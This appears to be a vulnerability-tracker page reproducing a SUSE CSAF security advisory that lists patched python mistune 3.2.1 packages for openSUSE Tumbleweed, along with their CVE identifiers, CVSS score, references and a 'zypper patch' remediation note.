Unresolved product id: openSUSE Tumbleweed:python313-mistune-3.2.1-1.1.s390x	—	Vendor Fix
Unresolved product id: openSUSE Tumbleweed:python313-mistune-3.2.1-1.1.x86_64	—	Vendor Fix
Unresolved product id: openSUSE Tumbleweed:python314-mistune-3.2.1-1.1.aarch64	—	Vendor Fix
Unresolved product id: openSUSE Tumbleweed:python314-mistune-3.2.1-1.1.ppc64le	—	Vendor Fix
Unresolved product id: openSUSE Tumbleweed:python314-mistune-3.2.1-1.1.s390x	—	Vendor Fix
Unresolved product id: openSUSE Tumbleweed:python314-mistune-3.2.1-1.1.x86_64	—	Vendor Fix

Threats

Impact important

CVE-2026-44897

6.1 (Medium)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Affected products

Recommended 12 products

Product	Version	Remediation
Unresolved product id: openSUSE Tumbleweed:python311-mistune-3.2.1-1.1.aarch64	—	Vendor Fix
Unresolved product id: openSUSE Tumbleweed:python311-mistune-3.2.1-1.1.ppc64le	—	Vendor Fix
Unresolved product id: openSUSE Tumbleweed:python311-mistune-3.2.1-1.1.s390x	—	Vendor Fix
Unresolved product id: openSUSE Tumbleweed:python311-mistune-3.2.1-1.1.x86_64	—	Vendor Fix
Unresolved product id: openSUSE Tumbleweed:python313-mistune-3.2.1-1.1.aarch64	—	Vendor Fix
Unresolved product id: openSUSE Tumbleweed:python313-mistune-3.2.1-1.1.ppc64le	—	Vendor Fix
Unresolved product id: openSUSE Tumbleweed:python313-mistune-3.2.1-1.1.s390x	—	Vendor Fix
Unresolved product id: openSUSE Tumbleweed:python313-mistune-3.2.1-1.1.x86_64	—	Vendor Fix
Unresolved product id: openSUSE Tumbleweed:python314-mistune-3.2.1-1.1.aarch64	—	Vendor Fix
Unresolved product id: openSUSE Tumbleweed:python314-mistune-3.2.1-1.1.ppc64le	—	Vendor Fix
Unresolved product id: openSUSE Tumbleweed:python314-mistune-3.2.1-1.1.s390x	—	Vendor Fix
Unresolved product id: openSUSE Tumbleweed:python314-mistune-3.2.1-1.1.x86_64	—	Vendor Fix

Threats

Impact moderate

References

11 references

URL	Category
https://www.suse.com/support/security/rating/	external
https://ftp.suse.com/pub/projects/security/csaf/o…	self
https://www.suse.com/security/cve/CVE-2026-33079/	self
https://www.suse.com/security/cve/CVE-2026-33441/	self
https://www.suse.com/security/cve/CVE-2026-44897/	self
https://www.suse.com/security/cve/CVE-2026-33079	external
https://bugzilla.suse.com/1264347	external
https://www.suse.com/security/cve/CVE-2026-33441	external
https://bugzilla.suse.com/1264752	external
https://www.suse.com/security/cve/CVE-2026-44897	external
https://bugzilla.suse.com/1264750	external

JSON

To clipboard

{
  "document": {
    "aggregate_severity": {
      "namespace": "https://www.suse.com/support/security/rating/",
      "text": "moderate"
    },
    "category": "csaf_security_advisory",
    "csaf_version": "2.0",
    "distribution": {
      "text": "Copyright 2024 SUSE LLC. All rights reserved.",
      "tlp": {
        "label": "WHITE",
        "url": "https://www.first.org/tlp/"
      }
    },
    "lang": "en",
    "notes": [
      {
        "category": "summary",
        "text": "python311-mistune-3.2.1-1.1 on GA media",
        "title": "Title of the patch"
      },
      {
        "category": "description",
        "text": "These are all security issues fixed in the python311-mistune-3.2.1-1.1 package on the GA media of openSUSE Tumbleweed.",
        "title": "Description of the patch"
      },
      {
        "category": "details",
        "text": "openSUSE-Tumbleweed-2026-10761",
        "title": "Patchnames"
      },
      {
        "category": "legal_disclaimer",
        "text": "CSAF 2.0 data is provided by SUSE under the Creative Commons License 4.0 with Attribution (CC-BY-4.0).",
        "title": "Terms of use"
      }
    ],
    "publisher": {
      "category": "vendor",
      "contact_details": "https://www.suse.com/support/security/contact/",
      "name": "SUSE Product Security Team",
      "namespace": "https://www.suse.com/"
    },
    "references": [
      {
        "category": "external",
        "summary": "SUSE ratings",
        "url": "https://www.suse.com/support/security/rating/"
      },
      {
        "category": "self",
        "summary": "URL of this CSAF notice",
        "url": "https://ftp.suse.com/pub/projects/security/csaf/opensuse-su-2026_10761-1.json"
      },
      {
        "category": "self",
        "summary": "SUSE CVE CVE-2026-33079 page",
        "url": "https://www.suse.com/security/cve/CVE-2026-33079/"
      },
      {
        "category": "self",
        "summary": "SUSE CVE CVE-2026-33441 page",
        "url": "https://www.suse.com/security/cve/CVE-2026-33441/"
      },
      {
        "category": "self",
        "summary": "SUSE CVE CVE-2026-44897 page",
        "url": "https://www.suse.com/security/cve/CVE-2026-44897/"
      }
    ],
    "title": "python311-mistune-3.2.1-1.1 on GA media",
    "tracking": {
      "current_release_date": "2026-05-12T00:00:00Z",
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          "summary": "SUSE Bug 1264750 for CVE-2026-44897",
          "url": "https://bugzilla.suse.com/1264750"
        }
      ],
      "remediations": [
        {
          "category": "vendor_fix",
          "details": "To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or \"zypper patch\".\n",
          "product_ids": [
            "openSUSE Tumbleweed:python311-mistune-3.2.1-1.1.aarch64",
            "openSUSE Tumbleweed:python311-mistune-3.2.1-1.1.ppc64le",
            "openSUSE Tumbleweed:python311-mistune-3.2.1-1.1.s390x",
            "openSUSE Tumbleweed:python311-mistune-3.2.1-1.1.x86_64",
            "openSUSE Tumbleweed:python313-mistune-3.2.1-1.1.aarch64",
            "openSUSE Tumbleweed:python313-mistune-3.2.1-1.1.ppc64le",
            "openSUSE Tumbleweed:python313-mistune-3.2.1-1.1.s390x",
            "openSUSE Tumbleweed:python313-mistune-3.2.1-1.1.x86_64",
            "openSUSE Tumbleweed:python314-mistune-3.2.1-1.1.aarch64",
            "openSUSE Tumbleweed:python314-mistune-3.2.1-1.1.ppc64le",
            "openSUSE Tumbleweed:python314-mistune-3.2.1-1.1.s390x",
            "openSUSE Tumbleweed:python314-mistune-3.2.1-1.1.x86_64"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 6.1,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
            "version": "3.1"
          },
          "products": [
            "openSUSE Tumbleweed:python311-mistune-3.2.1-1.1.aarch64",
            "openSUSE Tumbleweed:python311-mistune-3.2.1-1.1.ppc64le",
            "openSUSE Tumbleweed:python311-mistune-3.2.1-1.1.s390x",
            "openSUSE Tumbleweed:python311-mistune-3.2.1-1.1.x86_64",
            "openSUSE Tumbleweed:python313-mistune-3.2.1-1.1.aarch64",
            "openSUSE Tumbleweed:python313-mistune-3.2.1-1.1.ppc64le",
            "openSUSE Tumbleweed:python313-mistune-3.2.1-1.1.s390x",
            "openSUSE Tumbleweed:python313-mistune-3.2.1-1.1.x86_64",
            "openSUSE Tumbleweed:python314-mistune-3.2.1-1.1.aarch64",
            "openSUSE Tumbleweed:python314-mistune-3.2.1-1.1.ppc64le",
            "openSUSE Tumbleweed:python314-mistune-3.2.1-1.1.s390x",
            "openSUSE Tumbleweed:python314-mistune-3.2.1-1.1.x86_64"
          ]
        }
      ],
      "threats": [
        {
          "category": "impact",
          "date": "2026-05-12T00:00:00Z",
          "details": "moderate"
        }
      ],
      "title": "CVE-2026-44897"
    }
  ]
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

Action not permitted

CVE-2026-44897 (GCVE-0-2026-44897)

FKIE_CVE-2026-44897

GHSA-V87V-83H2-53W7

Summary

Details

PoC

Script

Impact

MSRC_CVE-2026-44897

OPENSUSE-SU-2026:10761-1

Tags

Sightings

Nomenclature